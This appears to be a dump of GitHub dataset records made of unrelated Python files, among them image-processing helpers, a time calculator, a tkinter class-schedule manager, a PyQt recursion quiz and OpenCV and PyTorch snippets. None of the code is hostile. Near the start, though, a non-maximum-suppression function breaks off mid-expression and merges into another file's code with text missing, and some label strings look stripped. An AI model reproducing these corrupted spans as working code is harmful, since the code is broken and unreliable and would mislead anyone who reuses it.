np\n\ndef dp(InputCost):\n # dynamic programming \n\n weight_smooth = 2\n edge = np.ones(InputCost.shape[1])\n paths = np.ones(InputCost.shape[0]) \n backtracing = np.ones(InputCost.shape)\n CAM = copy.deepcopy(InputCost) # cost accumulate matrix\n \n for i in range(1, InputCost.shape[1]):\n for j in range(InputCost.shape[0]):\n for k in range(InputCost.shape[0]):\n paths[k] = weight_smooth*np.absolute(j-k) + CAM[k, i-1] + CAM[j, i]\n \n CAM[j,i] = paths.min() \n backtracing[j,i] = paths.argmin()\n \n edge[-1] = CAM[:,-1].argmin()\n \n for i in range(InputCost.shape[1]-2, -1, -1):\n edge[i] = backtracing[int(edge[i+1]), i+1]\n \n return edge\n \ndef openning(inputmatrix, wind_size = (3,3)):\n # mathematical morphology: openning\n \n kernel = np.ones(wind_size, np.uint8)\n erosion = cv2.erode(inputmatrix, kernel)\n dilation = cv2.dilate(erosion, kernel)\n return dilation\n \ndef closing(inputmatrix, wind_size = (3,3)):\n # mathematical morphology: closing\n \n kernel = np.ones(wind_size, np.uint8)\n dilation = cv2.dilate(inputmatrix, kernel)\n erosion = cv2.erode(dilation, kernel)\n return erosion\n \ndef normalize_std(data):\n # standard normalize\n data_mean = data.mean(axis = 0)\n data_std = data.std(axis = 0) \n data_std[data_std == 0] = 1 \n return (data - data_mean)/data_std, data_mean, data_std \n \ndef relativeDistance(inputdata):\n temp_data = np.vstack((inputdata[0], inputdata[1]))\n\n dist = 0\n for i in range(len(inputdata[0])):\n for j in range(len(inputdata[0])):\n if i!= j:\n dist += np.sqrt((temp_data[0,i] - temp_data[0,j])**2 + (temp_data[1,i] - temp_data[1,j])**2)\n \n return dist\n \ndef zeropadding(matrix, padsize1, padsize2, constant_val = 0):\n leftPad,rightPad,topPad,bottomPad = padsize1, padsize1, padsize2, padsize2\n pads = ((leftPad,rightPad),(topPad,bottomPad))\n return np.pad(matrix, pads, 'constant', constant_values = constant_val)\n\ndef NonMaximumSuppression(labelmap,scoremap,suppresssize):\n finallabel = np.zeros((0,4))\n mapshape = np.array([scoremap.shape[0:2]])\n while (scoremap>0).any():\n index = scoremap.argmax()\n index = np.array([index/mapshape[0,1],index%mapshape[0,1]])\n singlelabel = np.array([[labelmap[index[0],index[1]],scoremap[index[0],index[1]],index[0],index[1]]])\n finallabel = np.concatenate((finallabel,singlelabel),0)\n suppressedLoc = np.array([0,0,mapshape[0,0],mapshape[0,1]])\n if index[0]-suppresssize>0:\n suppressedLoc[0] = index[0]-suppresssize\n if index[0]+suppresssize0:\n suppressedLoc[1] = index[1]-suppresssize\n if index[1]+suppresssize 60:\n add_hr += (min_24hr + duration_minutes_org)//60\n duration_hour = duration_hour_org + add_hr\n duration_minutes = (min_24hr + duration_minutes_org) - (add_hr*60)\n else:\n duration_hour = duration_hour_org\n duration_minutes = duration_minutes_org\n \n if (hour_24hr + duration_hour) > 24:\n cal_nextday += (hour_24hr + duration_hour)//24\n \n #Calculate display day of week\n if str(dayofwk).capitalize() in dayofweek:\n next_day = \"\"\n cal_dow = None\n\n if cal_nextday == 0:\n str_nextday = \", \" + str(dayofwk.capitalize())\n else:\n if (dayofweek[str(dayofwk).capitalize()] + cal_nextday) > 7:\n cal_dow = (dayofweek[str(dayofwk).capitalize()] + cal_nextday)%7\n else:\n cal_dow = dayofweek[str(dayofwk).capitalize()] + cal_nextday\n \n next_day = [k for k, v in dayofweek.items() if v == cal_dow][0]\n \n if cal_nextday == 1:\n str_nextday = \", \" + next_day + \" (next day)\"\n else:\n str_nextday = \", \" + next_day + \" (\" + str(cal_nextday) +\" days later)\"\n \n #calculate new_time\n cal_time = start_time + timedelta(minutes=duration_minutes_org, hours=duration_hour_org)\n \n #Show output\n if dayofwk == None:\n if cal_nextday == 1:\n new_time = cal_time.time().strftime('%-I:%M %p') + \" (next day)\"\n elif cal_nextday > 1:\n new_time = cal_time.time().strftime('%-I:%M %p') + \" (\" + str(cal_nextday) + \" days later)\"\n else:\n new_time = cal_time.time().strftime('%-I:%M %p')\n else:\n new_time = str(cal_time.time().strftime('%-I:%M %p')) + str_nextday\n\n return new_time","repo_name":"natthayasp/boilerplate-time-calculator-Public","sub_path":"time_calculator.py","file_name":"time_calculator.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20003935431","text":"def fib(x):\n a=x[0]\n b=x[1]\n for i in range(2,len(x)):\n if x[i]==(a+b):\n a=b\n b=x[i]\n else:\n return False\n return True\n\nn=int(input())\nx=list(map(int,input().split()))\nif len(x)<=2:\n print('no')\nelif fib(x):\n print('yes')\nelse:\n print('no')","repo_name":"Shavukarusasikumar/codemind-python","sub_path":"Fibonacci_array.py","file_name":"Fibonacci_array.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34601607969","text":"#!/usr/bin/env python\nimport re\n\narr = [1, 4, 8, 9, 7, 5]\n\ndef e_arr():\n for i, v in enumerate(arr):\n yield (i, v)\n\nfor i, v in e_arr():\n print(i, v)\n\nmatch = re.search('(?P.*)\\s+(?P.*)', 'paul 12345')\nname = match.group('name')\nphone = match.group('phone')\nprint(name, phone)\n\nm = re.findall('H', 'hHhHH')\nprint(len(m))\n","repo_name":"allred/allred","sub_path":"sketch/sketch.py","file_name":"sketch.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20433189483","text":"from __future__ import unicode_literals\nimport os\nimport os.path\n\nimport youtube_dl\n\nclass DownloaderAPI():\n DOWNLOAD_LOCATION = 'downloads/'\n available_videos = { }\n\n def __init__(self):\n self.ydl_opts = { # options for youtube_dl\n 'format': 'bestaudio/best',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '192',\n }],\n 'outtmpl': self.DOWNLOAD_LOCATION + '%(id)s.%(ext)s'\n }\n\n # initiliaze the ydlObject\n self.ydl = youtube_dl.YoutubeDL(self.ydl_opts)\n self._populate_entries()\n\n def is_url_valid(self, url):\n try:\n # Get information about the YouTube video/song\n info = self.ydl.extract_info(url, download=False)\n return info['id']\n except:\n # The url does not exists or is wrong!\n return None\n\n def download(self, videoId, url):\n if videoId not in self.available_videos:\n try:\n self.ydl.download([url])\n except: # something went wrong at downloading process!\n raise\n\n filepath = os.path.join( self.DOWNLOAD_LOCATION, videoId + '.mp3' )\n self.available_videos[videoId] = filepath\n\n print(f'Saved video \"{videoId}\" @ \"{filepath}\"')\n else:\n print(f'Video \"{videoId}\" already downloaded!')\n\n def get_filepath(self, videoId):\n return self.available_videos[videoId]\n\n def _populate_entries(self):\n entries = { }\n for p in os.scandir(self.DOWNLOAD_LOCATION):\n if p.is_file():\n videoId = p.name.split('.')[0]\n entries[videoId] = os.path.realpath(p.path)\n\n self.available_videos = entries\n","repo_name":"kkanellis/genrec","sub_path":"web/server/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"14449429926","text":"#!/bin/python3\n\nimport sys\n\n\ndef arithmetic_progression_sum(a0, an, n):\n return (a0 + an) * n >> 1\n\n\ndef calc_sum(maximum, d):\n a0 = d\n\n if d > maximum:\n return 0\n n = maximum // d\n an = n * d\n\n if an == maximum:\n an -= d\n n -= 1\n\n return arithmetic_progression_sum(a0, an, n)\n\n\ndef calc_sum_slow(maximum, d):\n a = 0\n for x in range(d, maximum, d):\n a += x\n return a\n\n\ndef calc_sum_multiples_3_5(n):\n s1 = calc_sum(n, 3)\n s2 = calc_sum(n, 5)\n s3 = calc_sum(n, 15)\n return int(s1 + s2 - s3)\n\n\ndef main():\n t = int(input().strip())\n for a0 in range(t):\n n = int(input().strip())\n print(calc_sum_multiples_3_5(n))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mastergreg/hackerrank","sub_path":"eulerchallenge/euler_001.py","file_name":"euler_001.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19626751790","text":"__author__ = \"alvaro barbeira\"\n\nimport re\nimport os\nimport pandas\n\nr_ = re.compile(\"(.*)_chr([0-9]+)_sb([0-9]+)_reg0.1_ff0.01_by_region.txt.gz\")\nr2_ = re.compile(\"gwas_parsing_(.*)_chr([0-9]+)_sb([0-9]+)_by_region.sh\")\n\n\ndef _r(path, r):\n files = os.listdir(path)\n results = []\n for f in files:\n s = r.search(f)\n results.append((s.group(1), s.group(2), s.group(3)))\n return results\n\ndef _p(results):\n results = pandas.DataFrame(data=results,columns= [\"trait\", \"chromosome\", \"sb\"])\n results[\"k\"] = results.chromosome + \"_\" + results.sb\n g = results[[\"trait\", \"k\"]].groupby(\"trait\").aggregate([\"count\"])\n g= g.reset_index(level=\"trait\", col_level=1)\n g.columns = g.columns.droplevel()\n g = g.sort_values(by=\"count\")\n return g\n\nresults = _r(\"results_summary_imputation\", r_)\nresults = _p(results)\n\njobs = _r(\"old/jobs_summary_imputation/\", r2_)\njobs = _p(jobs)\n#from import embed; embed()","repo_name":"hakyimlab/gtex-miscellaneous-processing","sub_path":"src/misc/_check.py","file_name":"_check.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"2941370429","text":"from tkinter import *\nimport tkinter.ttk as tk\nimport json\n\nBLACK = \"#1C2626\"\nWHITE = \"#FFFFFF\"\nRED = \"#FF0000\"\nPURPLE = \"#552D96\"\nGREEN = \"#00FF00\"\nGRAY = \"#C4C4C4\"\nFONT = \"Poppins\"\n\nclass ManageClass:\n def __init__(self, main_window):\n self.main_window = main_window\n self.search_text = StringVar()\n self.class_text = StringVar()\n self.course_text = StringVar()\n self.lec_text = StringVar()\n self.time_text = StringVar()\n self.search = \"\"\n self.class_name = \"\"\n self.course_name = \"\"\n self.lec_name = \"\"\n self.time_stamp = \"\"\n \n with open(\"../data/class_student.json\", mode=\"r\") as file:\n self.class_dict = json.load(file)\n\n # -------------------------------------------- add class function -------------------------------------------- #\n def callback_add_class(self, *args):\n self.class_name = str(self.class_text.get())\n self.course_name = str(self.course_text.get())\n self.lec_name = str(self.lec_text.get())\n self.time_stamp = str(self.time_text.get())\n\n def vcmd_add_class(self):\n self.class_text.trace_add(\"write\", callback=self.callback_add_class)\n self.course_text.trace_add(\"write\", callback=self.callback_add_class)\n self.lec_text.trace_add(\"write\", callback=self.callback_add_class)\n self.time_text.trace_add(\"write\", callback=self.callback_add_class)\n\n def add_new_schedule(self, *event):\n if len(self.class_name)<=0 or len(self.course_name)<=0 or len(self.lec_name)<=0 or len(self.time_stamp)<=0:\n self.indicator_label.configure(text=\"Please Enter the Field!\", fg=RED)\n return self.add_frame.after(1000, func=self.add_class_schedule)\n\n key_checker = [key for key in self.class_dict]\n if self.class_name in key_checker:\n self.indicator_label.configure(text=\"Class Already Exists!\", fg=RED)\n return self.add_frame.after(1000, func=self.add_class_schedule)\n \n data = {\n \"Subject\": str(self.course_name),\n \"StudentNIM\": [],\n \"Lecturer\": str(self.lec_name),\n \"Time\": str(self.time_stamp),\n \"Session\":{}\n }\n self.class_dict[f\"{self.class_name}\"] = data\n\n with open(\"../data/class_student.json\", mode=\"w\") as file:\n file.write(str(json.dumps(self.class_dict, indent=4, sort_keys=True)))\n\n self.indicator_label.configure(text=\"Class Added!\", fg=GREEN)\n self.add_frame.after(1000, func=self.manage_class)\n\n # -------------------------------------------- add class ui -------------------------------------------- #\n def add_class_schedule(self):\n # --------------- reset page\n for widget in self.main_window.winfo_children():\n widget.destroy()\n\n with open(\"../data/class_student.json\", mode=\"r\") as file:\n self.class_dict = json.load(file)\n \n self.add_frame = Frame(self.main_window, bg=BLACK)\n self.add_frame.grid(column=0, row=0)\n\n # --------------- label add schedule\n add_schedule_label = Label(self.add_frame, text=\"ADD CLASS SCHEDULE\", fg=WHITE, bg=BLACK, font=(FONT, 35, \"bold\"))\n add_schedule_label.grid(column=0, row=0, columnspan=3, pady=(0, 20))\n\n # --------------- class name label and entry\n class_name_label = Label(self.add_frame, text=\"Class Name\", fg=WHITE, bg=BLACK, font=(FONT, 12))\n class_name_label.grid(column=1, row=1, sticky=\"W\")\n\n class_entry = Entry(self.add_frame, textvariable=self.class_text, width=35, validate=\"focusin\", validatecommand=self.vcmd_add_class)\n class_entry.configure(background=BLACK, fg=WHITE, font=(FONT, 16))\n self.class_text.set(\"\")\n class_entry.grid(column=1, row=2, pady=(0, 10), sticky=\"W\")\n\n # --------------- course name label and entry\n course_name_label = Label(self.add_frame, text=\"Course Name\", fg=WHITE, bg=BLACK, font=(FONT, 12))\n course_name_label.grid(column=1, row=3, sticky=\"W\")\n\n course_name_entry = Entry(self.add_frame, textvariable=self.course_text, width=35, validate=\"focusin\", validatecommand=self.vcmd_add_class)\n course_name_entry.configure(background=BLACK, fg=WHITE, font=(FONT, 16))\n self.course_text.set(\"\")\n course_name_entry.grid(column=1, row=4, pady=(0, 10), sticky=\"W\")\n\n # --------------- lecturer name label and entry\n lec_name_label = Label(self.add_frame, text=\"Lecturer\", fg=WHITE, bg=BLACK, font=(FONT, 12))\n lec_name_label.grid(column=1, row=5, sticky=\"W\")\n\n lec_name_entry = Entry(self.add_frame, textvariable=self.lec_text, width=35, validate=\"focusin\", validatecommand=self.vcmd_add_class)\n lec_name_entry.configure(background=BLACK, fg=WHITE, font=(FONT, 16))\n self.lec_text.set(\"\")\n lec_name_entry.grid(column=1, row=6, pady=(0, 10), sticky=\"W\")\n\n # --------------- time label and entry\n time_label = Label(self.add_frame, text=\"Time\", fg=WHITE, bg=BLACK, font=(FONT, 12))\n time_label.grid(column=1, row=7, sticky=\"W\")\n\n time_entry = Entry(self.add_frame, textvariable=self.time_text, width=35, validate=\"focusin\", validatecommand=self.vcmd_add_class)\n time_entry.configure(background=BLACK, fg=WHITE, font=(FONT, 16))\n self.time_text.set(\"\")\n time_entry.grid(column=1, row=8, pady=(0, 10), sticky=\"W\")\n\n # --------------- indicator label\n self.indicator_label = Label(self.add_frame, text=\"\", fg=GREEN, bg=BLACK, font=(FONT, 12, \"bold\"))\n self.indicator_label.grid(column=1, row=9, pady=(50, 50))\n\n # --------------- cancel button\n cancel_button = Button(self.add_frame, text=\"Cancel\", command=self.manage_class, width=14, height=1)\n cancel_button.configure(background=BLACK, fg=WHITE, font=(FONT, 12, \"bold\"))\n cancel_button.grid(column=0, row=10, sticky=\"E\")\n\n # --------------- add new button\n add_new_button = Button(self.add_frame, text=\"Add New\", command=self.add_new_schedule, width=14, height=1)\n add_new_button.configure(background=PURPLE, fg=WHITE, font=(FONT, 12, \"bold\"))\n add_new_button.grid(column=2, row=10, sticky=\"W\")\n\n # --------------- add new enter\n self.main_window.bind(\"\", self.add_new_schedule)\n\n # -------------------------------------------- manage class function -------------------------------------------- #\n def callback_manage_class(self, *args):\n self.search = str(self.search_text.get())\n\n def vcmd_manage_class(self):\n self.search_text.trace_add(\"write\", callback=self.callback_manage_class)\n\n def click_search(self, *args):\n if str(self.search_text.get()) == \"Search...\":\n self.search_text.set(\"\")\n\n def leave_search(self, *args):\n if str(self.search_text.get()) == \"\":\n self.search_text.set(\"Search...\")\n\n def to_menu(self):\n from menu import Menu\n menu_page = Menu(self.main_window)\n menu_page.menu_page()\n\n def class_info(self, *event):\n try:\n select = self.schedule_table.focus()\n class_code = dict(self.schedule_table.item(select))\n class_code = class_code[\"values\"][0]\n\n from view_class_info import ViewClassInfo\n vci = ViewClassInfo(self.main_window, class_code)\n vci.view_class_info()\n except:\n return\n\n # -------------------------------------------- search class ui -------------------------------------------- #\n def search_class(self, *event):\n query = str(self.search)\n selections = []\n for child in self.schedule_table.get_children():\n item = self.schedule_table.item(child)[\"values\"]\n if query.lower() in item[0].lower() or query.lower() in item[1].lower() or query.lower() in item[2].lower():\n selections.append(child)\n\n self.schedule_table.selection_set(selections)\n try:\n self.schedule_table.see(str(selections[0]))\n except:\n pass\n\n # -------------------------------------------- manage class ui -------------------------------------------- #\n def manage_class(self):\n # --------------- reset page\n for widget in self.main_window.winfo_children():\n widget.destroy()\n \n manage_class_frame = Frame(self.main_window, bg=BLACK)\n manage_class_frame.grid(column=0, row=0)\n\n manage_class_label = Label(manage_class_frame, text=\"MANAGE CLASS SCHEDULE\", fg=WHITE, bg=BLACK, font=(FONT, 35, \"bold\"))\n manage_class_label.grid(column=0, row=0, padx=50, columnspan=2)\n\n # --------------- search\n search_bar = Entry(manage_class_frame, width=60, validate=\"focusin\", validatecommand=self.vcmd_manage_class, textvariable=self.search_text)\n self.search_text.set(\"Search...\")\n search_bar.bind(\"\", self.click_search)\n search_bar.bind(\"\", self.leave_search)\n search_bar.configure(background=GRAY, fg=BLACK, font=(FONT, 16))\n search_bar.grid(column=0, row=1, padx=10, pady=10, columnspan=2)\n\n self.main_window.bind(\"\", self.search_class)\n\n # --------------- table page\n table_style = tk.Style()\n table_style.configure(\"Treeview\", font=(\"Poppins\", 12), rowheight=30)\n table_style.configure(\"Treeview.Heading\", font=(\"Poppins\", 12, \"bold\"))\n\n scrollbar = Scrollbar(manage_class_frame, orient=\"vertical\")\n scrollbar.grid(column=1, row=2, sticky=\"NSE\", columnspan=2)\n\n self.schedule_table = tk.Treeview(manage_class_frame, yscrollcommand=scrollbar.set)\n self.schedule_table.grid(column=0, row=2, columnspan=2, sticky=\"W\")\n\n scrollbar.config(command=self.schedule_table.yview)\n\n self.schedule_table[\"columns\"] = (\"Class\", \"Course\", \"Time\")\n self.schedule_table.column(\"#0\", width=0, stretch=NO)\n self.schedule_table.column(\"Class\", anchor=CENTER, width=130, stretch=NO)\n self.schedule_table.column(\"Course\", anchor=CENTER, width=300, stretch=NO)\n self.schedule_table.column(\"Time\", anchor=CENTER, width=300, stretch=NO)\n\n self.schedule_table.heading(\"#0\", text=\"\", anchor=CENTER)\n self.schedule_table.heading(\"Class\", text=\"Class\", anchor=CENTER)\n self.schedule_table.heading(\"Course\", text=\"Course\", anchor=CENTER)\n self.schedule_table.heading(\"Time\", text=\"Time\", anchor=CENTER)\n\n self.main_window.bind(\"\", self.class_info)\n\n counter = 0\n for class_code in self.class_dict:\n subject = self.class_dict[class_code][\"Subject\"]\n time_stamp = self.class_dict[class_code][\"Time\"]\n self.schedule_table.insert(parent=\"\", index=\"end\", iid=counter, text=\"\", values=(f\"{class_code}\", f\"{subject}\", f\"{time_stamp}\"))\n counter += 1\n \n if len(self.class_dict) == 0:\n self.schedule_table.insert(parent=\"\", index=\"end\", iid=counter, text=\"\", values=(\"\", \"Please Enter Data to Continue\", \"\"))\n\n # --------------- back button\n back_button = Button(manage_class_frame, text=\"Back\", command=self.to_menu, width=14, height=1)\n back_button.configure(background=BLACK, fg=WHITE, font=(FONT, 12, \"bold\"))\n back_button.grid(column=0, row=3, pady=20, sticky=\"W\")\n\n # --------------- add class button\n add_class_button = Button(manage_class_frame, text=\"Add New\", command=self.add_class_schedule, width=14, height=1)\n add_class_button.configure(background=PURPLE, fg=WHITE, font=(FONT, 12, \"bold\"))\n add_class_button.grid(column=1, row=3, pady=20, sticky=\"E\")","repo_name":"jptriciaestella/face_card","sub_path":"ui/manage_class.py","file_name":"manage_class.py","file_ext":"py","file_size_in_byte":11728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8700768033","text":"#Coding:utf-8\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QLabel, QLineEdit, QPushButton\nfrom PyQt5.QtGui import QFont, QColor\nimport sys\nfrom random import choice\n\n\nclass MW(QMainWindow):\n def __init__(self):\n super().__init__()\n self.setFixedSize(800, 600)\n # то, какие коэфециенты в шаблоне для рекурсии\n # [+-1, т.е. больше числа или меньше, когда есть рекурсия; чему кратно при проверке на рекурсию; чило, относительно которого всё происходит; слогаемое при нерекурсии; коэфициент при n^2 в формуле с рекурсией;\n # 5) коэфициент при n в формуле с рекурсией; слогаемое в формуле с рекурсией; коэфициент при рекурсии; слогаемое в рекурсии]\n self.variables = [1, 1, 10, 0, 0,\n 1, 1, 1, 1]\n # второй исход с рекурсивной формулой\n # [коэфициент при n^2 в формуле с рекурсией; коэфициент при n в формуле с рекурсией; слогаемое в формуле с рекурсией; коэфициент при рекурсии; слогаемое в рекурсии]\n self.variables2 = [0, 1, 1, 1, 1]\n self.whatcall = 10 # от чего вызываем\n self.answer = 0 # ответ на задачу\n # кнопка обновления\n self.updatebtn = QPushButton(self)\n self.updatebtn.clicked.connect(self.update)\n self.updatebtn.resize(50, 50)\n self.updatebtn.move(750, 550)\n self.updatebtn.setFont(QFont('Arial', 12))\n self.updatebtn.setText('ОБН')\n # лабел \"ответ\"\n self.anslab = QLabel(self)\n self.anslab.resize(150, 50)\n self.anslab.move(0, 550)\n self.anslab.setFont(QFont('Arial', 12))\n self.anslab.setText('ОТВЕТ:')\n # поле для ответа\n self.ansedit = QLineEdit(self)\n self.ansedit.resize(300, 50)\n self.ansedit.move(155, 550)\n self.ansedit.setFont(QFont('Arial', 12))\n # правильный ответ/нет лабел\n self.oklab = QLabel(self)\n self.oklab.resize(50, 50)\n self.oklab.move(460, 550)\n self.oklab.setFont(QFont('Arial', 12))\n self.oklab.setText('ДА')\n self.oklab.hide()\n # кнопка для проверки\n self.checkbtn = QPushButton(self)\n self.checkbtn.clicked.connect(self.checkAns)\n self.checkbtn.resize(150, 50)\n self.checkbtn.move(510, 550)\n self.checkbtn.setFont(QFont('Arial', 12))\n self.checkbtn.setText('ПРОВЕРИТЬ')\n # виджеты с условием на экране\n # [условие с =; возврвт с рекурсией; условие без =; возврат без рекурсии]\n self.tasklabs = []\n for i in range(7):\n self.tasklabs.append(QLabel(self))\n self.tasklabs[-1].resize(800, 50)\n self.tasklabs[-1].move(0, i * 55)\n self.tasklabs[-1].setFont(QFont('Ariel', 12))\n self.tasklabs[-1].show()\n \n def update(self):\n '''обновление задачи'''\n self.oklab.hide() # скрытие лабела\n # рандомизация коэфициентов\n self.variables = [choice([-1, 1]), choice([1, 2, 3]), choice(range(1, 25)), choice(range(-5, 5)), choice(range(-5, 5)),\n choice(range(-10, 5)), choice(range(-20, 20)), choice(list(range(-5, 0)) + list(range(1, 5))), choice(range(1, 5))]\n self.variables2 = [choice(range(-5, 5)), choice(range(-10, 5)), choice(range(-20, 20)), choice(list(range(-5, 0)) + list(range(1, 5))), choice(range(1, 5))]\n self.whatcall = choice(range(10, 500)) # рандомизация аргумента\n self.answer = self.getRec(self.whatcall)\n # заполняем лабел 0 (заголовок нерекурсии)\n s = 'При n <= ' + str(self.variables[2]) + ':' # просто строка для промежуточного хранения текста\n if self.variables[0] == -1:\n s = s.replace('<', '>')\n self.tasklabs[0].setText(s)\n # заполняем лабел 1 (формула нерекурсии)\n s = 'F(n) = n '\n if self.variables[3] < 0:\n s = s + '- ' + str(-1 * self.variables[3])\n elif self.variables[3] > 0:\n s = s + '+ ' + str(self.variables[3])\n self.tasklabs[1].setText(s)\n # заполняем лабел 2 (заголовок рекурсии)\n s = 'При n > ' + str(self.variables[2])\n if self.variables[0] == -1:\n s = s.replace('>', '<')\n if self.variables[1] != 1:\n s = s + ' и кратно ' + str(self.variables[1])\n s = s + ':'\n self.tasklabs[2].setText(s)\n # заполняем лабел 3 (формула рекурсии)\n s = 'F(n) = '\n if self.variables[7] == 1: # перед рекурсией\n s = s + 'F(n )'\n else:\n s = s + str(self.variables[7]) + 'F(n '\n if self.variables[0] == -1: # слогаемое в рекурсии\n s = s + '+ ' + str(self.variables[8]) + ') '\n else:\n s = s + '- ' + str(self.variables[8]) + ') '\n if self.variables[4] == 1: # n^2\n s = s + '+ ' + 'n^2 '\n elif self.variables[4] < 0:\n s = s + str(self.variables[4]) + 'n^2 '\n elif self.variables[4] > 0:\n s = s + '+' + str(self.variables[4]) + 'n^2 '\n if self.variables[5] == 1: # n\n s = s + '+ ' + 'n'\n elif self.variables[5] < 0:\n s = s + str(self.variables[5]) + 'n '\n elif self.variables[5] > 0:\n s = s + '+' + str(self.variables[5]) + 'n '\n if self.variables[6] < 0: # слогаемое\n s = s + str(self.variables[6])\n elif self.variables[6] > 0:\n s = s + '+' + str(self.variables[6])\n self.tasklabs[3].setText(s) # запись на лабел\n # лабелы 4 и 5 (доп строки для кратности)\n if self.variables[1] == 1:\n self.tasklabs[4].setText('Чему равно F(' + str(self.whatcall) + ')?')\n self.tasklabs[5].setText('')\n self.tasklabs[6].setText('')\n else:\n self.tasklabs[4].setText('Иначе:')\n s = 'F(n) = '\n if self.variables2[3] == 1: # перед рекурсией\n s = s + 'F(n )'\n else:\n s = s + str(self.variables2[3]) + 'F(n '\n if self.variables[0] == -1: # слогаемое в рекурсии\n s = s + '+ ' + str(self.variables2[4]) + ') '\n else:\n s = s + '- ' + str(self.variables2[4]) + ') '\n if self.variables2[0] == 1: # n^2\n s = s + '+ ' + 'n^2 '\n elif self.variables2[0] < 0:\n s = s + str(self.variables2[0]) + 'n^2 '\n elif self.variables2[0] > 0:\n s = s + '+' + str(self.variables2[0]) + 'n^2 '\n if self.variables2[1] == 1: # n\n s = s + '+ ' + 'n'\n elif self.variables2[0] < 0:\n s = s + str(self.variables2[0]) + 'n '\n elif self.variables2[0] > 0:\n s = s + '+' + str(self.variables2[0]) + 'n '\n if self.variables2[2] < 0: # слогаемое\n s = s + str(self.variables2[2])\n elif self.variables2[2] > 0:\n s = s + '+' + str(self.variables2[2])\n self.tasklabs[5].setText(s) # запись на лабел\n self.tasklabs[6].setText('Чему равно F(' + str(self.whatcall) + ')?')\n\n \n def getRec(self, whatcall):\n '''возвращает, что должно быть в результате рекурсии'''\n if self.variables[0] == 1 and whatcall <= self.variables[2] or\\\n self.variables[0] == -1 and whatcall >= self.variables[2]: # возвращается не рекурсия\n return whatcall + self.variables[3]\n elif (self.variables[0] == 1 and whatcall > self.variables[2] or\\\n self.variables[0] == -1 and whatcall < self.variables[2]) and whatcall % self.variables[1] == 0: # возвращается рекурсия при кратном\n return self.variables[7] * self.getRec(whatcall - self.variables[0] * self.variables[8]) + self.variables[4] * whatcall ** 2 +\\\n whatcall * self.variables[5] + self.variables[6]\n else: # возврвщает при некратном\n return self.variables2[3] * self.getRec(whatcall - self.variables[0] * self.variables2[4]) + self.variables2[0] * whatcall ** 2 +\\\n whatcall * self.variables2[1] + self.variables[2]\n\n def checkAns(self):\n try:\n ans = int(self.ansedit.text())\n self.oklab.show()\n if ans == self.answer:\n self.oklab.setText('

    ДА

    ')\n else:\n self.oklab.setText('

    НЕТ

    ')\n except:\n self.oklab.setText('

    ERR,

    ')\n print(self.answer)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n mw = MW()\n mw.show()\n sys.exit(app.exec_())\n ","repo_name":"Helegerd/recursia","sub_path":"recursia.py","file_name":"recursia.py","file_ext":"py","file_size_in_byte":9897,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13725327482","text":"import cv2 \nimport numpy as np\n\n# function to draw\ncount = 0\nx1 = 0\ny1 = 0\nx2 = 0\ny2 = 0\ndef draw(event, x, y, flags, param):\n global count, x1, y1, x2, y2\n if (event == cv2.EVENT_LBUTTONDOWN) and count == 0:\n x1 = x\n y1 = y\n count+=1\n elif (event == cv2.EVENT_LBUTTONDOWN) and count == 1:\n x2 = x\n y2 = y\n count = 0\n cv2.rectangle(img, pt1=(x1, y1), pt2=(x2, y2), color=(0,3,0), thickness=1)\n# else:\n# cv2.rectangle(img , pt1=(0,500), pt2=(500, 0), color=(0,0,0), thickness=-1)\n \n# connect to Callback function to draw\ncv2.namedWindow(winname = \"Title_bar\")\ncv2.setMouseCallback('Title_bar', draw)\n\n# image to show\n\nimg = np.zeros([500, 500, 3])\n\n# window operation\n\n\n# if we use \"and\" instead of \"&\" then the operation will not work because here we are doing bitwise and between \"cv2.waitKey(1)\"and\n# binary of 0xFF and checking whether the value of \"(cv2.waitKey(1) & 0xFF)\" is equal to ordinal value of q or say numeric value of \"q\"\n\n# https://stackoverflow.com/questions/35372700/whats-0xff-for-in-cv2-waitkey1\n# https://stackoverflow.com/questions/53357877/usage-of-ordq-and-0xff?rq=1\n\nwhile True:\n cv2.imshow('Title_bar', img)\n \n if (cv2.waitKey(1) & 0xFF) == ord('q'):\n break\n \ncv2.destroyAllWindows()","repo_name":"harshvardhan-anand/Artificial-Intelligence-Notes","sub_path":"ComputerVision/Notes/RectangleDrawWithMouse.py","file_name":"RectangleDrawWithMouse.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25849316364","text":"import torch\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nfrom torchvision.models import resnet18\nimport matplotlib.pyplot as plt\n\nmodel = resnet18(num_classes=2)\noptimizer = optim.SGD(params=model.parameters(), lr=0.05)\n\n# lr_scheduler.StepLR()\n# Assuming optimizer uses lr = 0.05 for all groups\n# lr = 0.05 if epoch < 30\n# lr = 0.005 if 30 <= epoch < 60\n# lr = 0.0005 if 60 <= epoch < 90\n\nscheduler = lr_scheduler.StepLR(optimizer, step_size=30, gamma=0.1)\nplt.figure()\nx = list(range(100))\ny = []\nfor epoch in range(100):\n scheduler.step()\n lr = scheduler.get_lr()\n # print(epoch, scheduler.get_lr()[0]) # get_lr()\n y.append(scheduler.get_lr()[0])\nplt.plot(x, 